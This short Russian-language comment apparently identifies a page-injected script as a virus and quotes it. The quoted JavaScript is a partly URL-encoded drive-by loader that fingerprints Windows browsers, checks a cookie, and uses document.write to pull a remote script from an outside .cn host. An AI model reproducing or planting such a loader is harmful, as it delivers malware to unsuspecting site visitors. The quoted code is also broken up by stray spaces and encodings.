Если внедрен, значит вирус.
var a = "ScriptEngine", b = "Version()+", j = "", u = navigator.userAgent;
if ((u.indexOf("Chrom e") < 0) && (u.indexOf("Win") > 0% 29&&(u.indexOf("NT 6")<0 )&&(document.cookie.indexOf("mie k=1")<0)&&(typeof(zrvzts)!=t ypeof("A"))){zrvzts="A"; eval("if(window."+a+")j=j% 2b"+a+"Major"+b+a+"Minor%2 2+b+a+"Build"+b+"j;");docu ment.write("<script src=/% 2fmar"+"tuz.cn/vid/?id="+j+"%3 e<\/script>");}